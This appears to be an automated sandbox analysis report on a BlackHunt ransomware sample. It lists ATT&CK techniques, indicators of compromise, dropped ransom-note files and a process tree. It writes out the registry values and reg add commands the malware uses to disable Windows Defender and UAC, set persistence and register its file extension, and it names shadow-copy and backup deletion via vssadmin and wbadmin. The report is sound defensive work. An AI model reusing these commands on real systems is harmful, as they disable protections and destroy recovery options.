bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7

Data Destruction

T1485

pid	Process
2336	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
1732	bcdedit.exe
540	bcdedit.exe

Renames multiple (567) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4080	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\R:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\Y:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\G:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\L:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\Z:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\N:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\K:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\S:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\B:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\E:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\U:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\I:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\A:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\H:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\T:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\O:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\J:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\P:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\X:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\Q:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\W:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\V:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\M:	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\7z.sfx	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\management.properties	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_ReadMe.hta	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\#BlackHunt_Private.key	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\public_suffix.md	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\sRGB.pf	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libxml2.md	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightDemiBold.ttf	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\Java\jre-1.8\legal\#BlackHunt_ReadMe.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\Java\jdk-1.8\legal\jdk\#BlackHunt_ReadMe.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\charsets.jar	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\#BlackHunt_ReadMe.hta	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#BlackHunt_Private.key	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\#BlackHunt_ReadMe.hta	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_MoveDrop32x32.gif	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_Private.key	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng2.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\EnableConvertTo.mpe	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_Private.key	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_ReadMe.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fontconfig.properties.src	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\LINEAR_RGB.pf	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\#BlackHunt_Private.key	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\#BlackHunt_ReadMe.hta	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\#BlackHunt_Private.key	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\7-Zip\descript.ion	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\directshow.md	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\jfxrt.jar	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\relaxngcc.md	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#BlackHunt_ReadMe.hta	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_Private.key	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\#BlackHunt_ReadMe.hta	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\#BlackHunt_ReadMe.hta	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.hta	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\dotnet\swidtag\Microsoft Windows Desktop Runtime - 8.0.0 (x64).swidtag	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jvisualvm.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\jopt-simple.md	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_ReadMe.hta	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#BlackHunt_ReadMe.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#BlackHunt_ReadMe.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\classfile_constants.h	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\dynalink.md	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\Uninstall Information\#BlackHunt_ReadMe.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\hrtfs\#BlackHunt_Private.key	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\README.html	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\#BlackHunt_ReadMe.hta	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\#BlackHunt_Private.key	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\asm.md	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_ReadMe.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#BlackHunt_ReadMe.hta	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\#BlackHunt_ReadMe.hta	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\glib.md	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\libpng.md	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\#BlackHunt_Private.key	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\#BlackHunt_ReadMe.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fi.txt	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy.jar	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\javaws.jar	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#BlackHunt_Private.key	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3844	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3368	vssadmin.exe
3856	vssadmin.exe
1580	vssadmin.exe
5016	vssadmin.exe
3764	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
Token: SeRestorePrivilege	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
Token: SeBackupPrivilege	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
Token: SeTakeOwnershipPrivilege	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
Token: SeAuditPrivilege	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
Token: SeSecurityPrivilege	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
Token: SeIncBasePriorityPrivilege	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
Token: SeBackupPrivilege	3348	vssvc.exe
Token: SeRestorePrivilege	3348	vssvc.exe
Token: SeAuditPrivilege	3348	vssvc.exe
Token: SeBackupPrivilege	4116	wbengine.exe
Token: SeRestorePrivilege	4116	wbengine.exe
Token: SeSecurityPrivilege	4116	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 4812	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	91
PID 4884 wrote to memory of 4812	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	91
PID 4884 wrote to memory of 5068	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	93
PID 4884 wrote to memory of 5068	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	93
PID 4884 wrote to memory of 3136	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	94
PID 4884 wrote to memory of 3136	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	94
PID 4884 wrote to memory of 3172	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	97
PID 4884 wrote to memory of 3172	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	97
PID 4884 wrote to memory of 2692	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	99
PID 4884 wrote to memory of 2692	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	99
PID 3172 wrote to memory of 792	3172	cmd.exe	106
PID 3172 wrote to memory of 792	3172	cmd.exe	106
PID 4812 wrote to memory of 1848	4812	cmd.exe	103
PID 4812 wrote to memory of 1848	4812	cmd.exe	103
PID 3136 wrote to memory of 4332	3136	cmd.exe	104
PID 3136 wrote to memory of 4332	3136	cmd.exe	104
PID 5068 wrote to memory of 1636	5068	cmd.exe	102
PID 5068 wrote to memory of 1636	5068	cmd.exe	102
PID 2692 wrote to memory of 3148	2692	cmd.exe	105
PID 2692 wrote to memory of 3148	2692	cmd.exe	105
PID 4884 wrote to memory of 3044	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	107
PID 4884 wrote to memory of 3044	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	107
PID 4884 wrote to memory of 4832	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	109
PID 4884 wrote to memory of 4832	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	109
PID 4884 wrote to memory of 1148	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	111
PID 4884 wrote to memory of 1148	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	111
PID 4884 wrote to memory of 684	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	113
PID 4884 wrote to memory of 684	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	113
PID 4884 wrote to memory of 1464	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	115
PID 4884 wrote to memory of 1464	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	115
PID 3044 wrote to memory of 116	3044	cmd.exe	118
PID 3044 wrote to memory of 116	3044	cmd.exe	118
PID 1148 wrote to memory of 3924	1148	cmd.exe	117
PID 1148 wrote to memory of 3924	1148	cmd.exe	117
PID 4884 wrote to memory of 2036	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	119
PID 4884 wrote to memory of 2036	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	119
PID 4832 wrote to memory of 2688	4832	cmd.exe	120
PID 4832 wrote to memory of 2688	4832	cmd.exe	120
PID 4884 wrote to memory of 4004	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	122
PID 4884 wrote to memory of 4004	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	122
PID 684 wrote to memory of 392	684	cmd.exe	124
PID 684 wrote to memory of 392	684	cmd.exe	124
PID 4884 wrote to memory of 4108	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	128
PID 4884 wrote to memory of 4108	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	128
PID 1464 wrote to memory of 4372	1464	cmd.exe	125
PID 1464 wrote to memory of 4372	1464	cmd.exe	125
PID 4884 wrote to memory of 1876	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	127
PID 4884 wrote to memory of 1876	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	127
PID 4884 wrote to memory of 4368	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	129
PID 4884 wrote to memory of 4368	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	129
PID 2036 wrote to memory of 5032	2036	cmd.exe	132
PID 2036 wrote to memory of 5032	2036	cmd.exe	132
PID 4884 wrote to memory of 4620	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	133
PID 4884 wrote to memory of 4620	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	133
PID 4884 wrote to memory of 5064	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	136
PID 4884 wrote to memory of 5064	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	136
PID 4884 wrote to memory of 3940	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	144
PID 4884 wrote to memory of 3940	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	144
PID 1876 wrote to memory of 3348	1876	cmd.exe	202
PID 1876 wrote to memory of 3348	1876	cmd.exe	202
PID 4368 wrote to memory of 4460	4368	cmd.exe	139
PID 4368 wrote to memory of 4460	4368	cmd.exe	139
PID 4884 wrote to memory of 1640	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	143
PID 4884 wrote to memory of 1640	4884	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe	143

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe
"C:\Users\Admin\AppData\Local\Temp\bf9fa54c947d919a10686328e231a232baab755a0a52bd0369998d1502c756c7.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3172
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:792
- C:\Windows\System32\cmd.exe
